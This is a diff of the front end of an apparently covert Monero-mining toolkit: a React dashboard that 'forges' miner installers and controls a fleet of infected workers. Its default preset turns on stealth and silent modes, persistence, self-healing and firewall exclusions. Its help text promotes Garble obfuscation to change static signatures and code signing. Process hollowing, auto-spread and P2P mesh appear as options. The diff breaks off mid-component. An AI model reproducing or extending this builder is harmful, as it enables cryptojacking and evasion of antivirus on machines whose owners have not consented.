||||
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
|
||||
const first = candidates.find(isGoodServerUrl);
|
||||
return first || current?.trim() || '';
|
||||
}
|
||||
|
||||
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
|
||||
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
display_mode: 'background',
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
adapt_to_hardware: true,
|
||||
firewall_exclusion: true,
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
};
|
||||
}
|
||||
|
||||
export interface SmartDefaultsContext {
|
||||
builds?: BuildRecord[];
|
||||
endpointCandidates?: string[];
|
||||
}
|
||||
|
||||
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
|
||||
export function applySmartForgeDefaults(
|
||||
form: BuildRequest,
|
||||
ctx: SmartDefaultsContext = {}
|
||||
): BuildRequest {
|
||||
const preset = recommendedForgePreset();
|
||||
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
|
||||
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
|
||||
|
||||
return {
|
||||
...form,
|
||||
...preset,
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
pool_tls: form.pool_tls ?? preset.pool_tls!,
|
||||
pool_pass: form.pool_pass || preset.pool_pass!,
|
||||
process_name: sanitizeProcessName(worker),
|
||||
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
|
||||
sign_build: form.sign_build ?? preset.sign_build ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
export function forgeDefaultsFromServerSmart(
|
||||
config: ServerConfig,
|
||||
serverInfo: ServerInfo,
|
||||
builds: BuildRecord[] = []
|
||||
): BuildRequest {
|
||||
const publicUrl = config.server?.public_url?.trim();
|
||||
const srv = config.server;
|
||||
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
|
||||
const base: BuildRequest = {
|
||||
...recommendedForgePreset(),
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
} as BuildRequest;
|
||||
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
||||
}
|
||||
|
||||
export const RECOMMENDED_DEFAULTS_BLURB =
|
||||
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||
|
||||
export function isValidWorkerName(name: string): boolean {
|
||||
const t = name.trim();
|
||||
return t.length > 0 && WORKER_NAME_RE.test(t);
|
||||
}
|
||||
@@ -1,24 +1,46 @@
|
||||
export const SETUP_CHEATSHEET = [
|
||||
{
|
||||
title: '1. Calibrate the server',
|
||||
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
|
||||
title: '1. Calibrate once',
|
||||
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
|
||||
},
|
||||
{
|
||||
title: '2. Forge your installer',
|
||||
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
|
||||
title: '2. Forge (Simple mode)',
|
||||
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
|
||||
},
|
||||
{
|
||||
title: '3. Deploy',
|
||||
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
|
||||
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
|
||||
},
|
||||
{
|
||||
title: '4. Command Deck',
|
||||
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
|
||||
},
|
||||
];
|
||||
|
||||
export const FIELD_HELP: Record<string, string> = {
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||
calibrate_wallet:
|
||||
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
|
||||
calibrate_quick_setup:
|
||||
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_recommended_defaults:
|
||||
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
|
||||
obfuscate:
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
|
||||
sign_build:
|
||||
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||
obfuscate_default:
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
|
||||
sign_enabled:
|
||||
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
|
||||
sign_cert_thumbprint:
|
||||
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
|
||||
sign_tool_path:
|
||||
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
|
||||
sign_timestamp_url:
|
||||
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
|
||||
server_url:
|
||||
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
||||
output_dir:
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
|
||||
|
||||
interface DashboardInit {
|
||||
agents: Agent[];
|
||||
}
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
|
||||
interface UseWebSocketReturn {
|
||||
isConnected: boolean;
|
||||
@@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg: WSMessage = JSON.parse(event.data);
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as DashboardInit;
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
@@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = agent;
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
@@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as { agent_id: string };
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
||||
@@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as {
|
||||
agent_id: string;
|
||||
hashrate_15s: number;
|
||||
hashrate_1m: number;
|
||||
hashrate_15m: number;
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct?: number;
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
};
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
@@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
@@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const { agent_id } = msg.payload as { agent_id?: string };
|
||||
if (agent_id && msg.payload && typeof msg.payload === 'object') {
|
||||
const p = msg.payload as { action?: string; message?: string; success?: boolean };
|
||||
if (p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const agent_id = p.agent_id;
|
||||
if (agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as { agent_id: string; content: string };
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
}
|
||||
|
||||
@@ -1,11 +1,22 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -13,11 +24,19 @@ export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
const [notesDraft, setNotesDraft] = useState('');
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.listAgents()
|
||||
@@ -33,6 +52,8 @@ export default function AgentsPage() {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
setNotesDraft(updated.notes || '');
|
||||
setTagsDraft((updated.tags || []).join(', '));
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
@@ -45,6 +66,11 @@ export default function AgentsPage() {
|
||||
}
|
||||
}, [selectedAgent?.id, agentLogs]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(agents, filters),
|
||||
[agents, filters]
|
||||
);
|
||||
|
||||
const refreshLog = async (refresh = false) => {
|
||||
if (!selectedAgent) return;
|
||||
setLogLoading(true);
|
||||
@@ -60,6 +86,9 @@ export default function AgentsPage() {
|
||||
|
||||
const selectAgent = async (agent: Agent) => {
|
||||
setSelectedAgent(agent);
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMetaMsg('');
|
||||
setLogContent('');
|
||||
try {
|
||||
const history = await api.getAgentStats(agent.id, 60);
|
||||
@@ -69,15 +98,75 @@ export default function AgentsPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
if (!selectedAgent) return;
|
||||
setMetaSaving(true);
|
||||
setMetaMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||||
const updated = res.agent;
|
||||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||||
setMetaMsg('Saved');
|
||||
setTimeout(() => setMetaMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setMetaSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (on) next.add(id);
|
||||
else next.delete(id);
|
||||
return next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleBulkAction = async (action: string) => {
|
||||
const ids = [...selectedIds];
|
||||
if (ids.length === 0) return;
|
||||
|
||||
let targetIds = ids;
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) {
|
||||
alert('No online agents in selection.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
<h1>Fleet Roster</h1>
|
||||
<p className="page-subtitle">Inspect each node — hashrate history, hardware, share ledger.</p>
|
||||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||||
</div>
|
||||
<span className="header-count font-tech">{agents.length} NODES</span>
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
{loadError && (
|
||||
@@ -98,45 +187,74 @@ export default function AgentsPage() {
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list">
|
||||
{agents.map((agent) => (
|
||||
<div
|
||||
key={agent.id}
|
||||
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
|
||||
onClick={() => selectAgent(agent)}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>
|
||||
{agent.status}
|
||||
</span>
|
||||
</div>
|
||||
<div className="agent-list-details">
|
||||
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
</div>
|
||||
<div className="agent-list-meta">
|
||||
<span>{agent.ip}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
<span>{agent.cpu_cores} cores</span>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
</div>
|
||||
))}
|
||||
<div className="agents-list-panel">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
<div className="agents-list">
|
||||
{filteredAgents.map((agent) => (
|
||||
<AgentListItem
|
||||
key={agent.id}
|
||||
agent={agent}
|
||||
selected={selectedAgent?.id === agent.id}
|
||||
expanded={expandedId === agent.id}
|
||||
selectable
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
<p className="form-hint">No agents match filters.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
{selectedAgent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="detail-section agent-meta-editor">
|
||||
<h3>Notes & Tags</h3>
|
||||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||||
</div>
|
||||
|
||||
<div className="agent-detail-grid">
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Status</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>
|
||||
{selectedAgent.status}
|
||||
</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
@@ -222,8 +340,12 @@ export default function AgentsPage() {
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Remote Control</h3>
|
||||
{selectedAgent.status !== 'online' && (
|
||||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||||
)}
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
@@ -232,7 +354,7 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||||
</div>
|
||||
@@ -246,18 +368,3 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
|
||||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
return forgeDefaultsFromServer(config, serverInfo);
|
||||
function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ['KB', 'MB', 'GB'];
|
||||
let v = n / 1024;
|
||||
for (const u of units) {
|
||||
if (v < 1024) return `${v.toFixed(2)} ${u}`;
|
||||
v /= 1024;
|
||||
}
|
||||
return `${v.toFixed(2)} TB`;
|
||||
}
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||
|
||||
function loadSimpleMode(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(FORGE_MODE_KEY);
|
||||
if (v === 'advanced') return false;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
@@ -30,9 +53,22 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
const setForgeMode = (simple: boolean) => {
|
||||
setSimpleMode(simple);
|
||||
try {
|
||||
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
};
|
||||
|
||||
const refreshEndpointInfo = async () => {
|
||||
setRefreshingEndpoints(true);
|
||||
@@ -56,11 +92,13 @@ export default function BuilderPage() {
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([config, info]) => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||
.then(([config, info, builds]) => {
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
setForm(defaultsFromConfig(config, info));
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -227,6 +265,24 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const applyRecommendedDefaults = async () => {
|
||||
if (!form) return;
|
||||
try {
|
||||
const [config, info, builds] = await Promise.all([
|
||||
api.getConfig(),
|
||||
api.getServerInfo(),
|
||||
api.listBuilds().catch(() => [] as BuildRecord[]),
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
|
||||
}
|
||||
};
|
||||
|
||||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
@@ -243,6 +299,44 @@ export default function BuilderPage() {
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
|
||||
useEffect(() => {
|
||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError('');
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
const timer = window.setTimeout(() => {
|
||||
setEstimateLoading(true);
|
||||
setEstimateError('');
|
||||
api.estimateFusion(form, fusionPrepFile)
|
||||
.then((est) => {
|
||||
if (!cancelled) setFusionEstimate(est);
|
||||
})
|
||||
.catch((err: Error) => {
|
||||
if (!cancelled) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError(err.message || 'Estimate failed');
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setEstimateLoading(false);
|
||||
});
|
||||
}, 350);
|
||||
return () => {
|
||||
cancelled = true;
|
||||
window.clearTimeout(timer);
|
||||
};
|
||||
}, [
|
||||
form?.fusion_enabled,
|
||||
form?.fusion_output_name,
|
||||
form?.output_dir,
|
||||
form?.obfuscate,
|
||||
form?.sign_build,
|
||||
form?.worker_name,
|
||||
fusionPrepFile,
|
||||
]);
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -283,10 +377,29 @@ export default function BuilderPage() {
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<p className="page-subtitle">
|
||||
Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.
|
||||
{simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
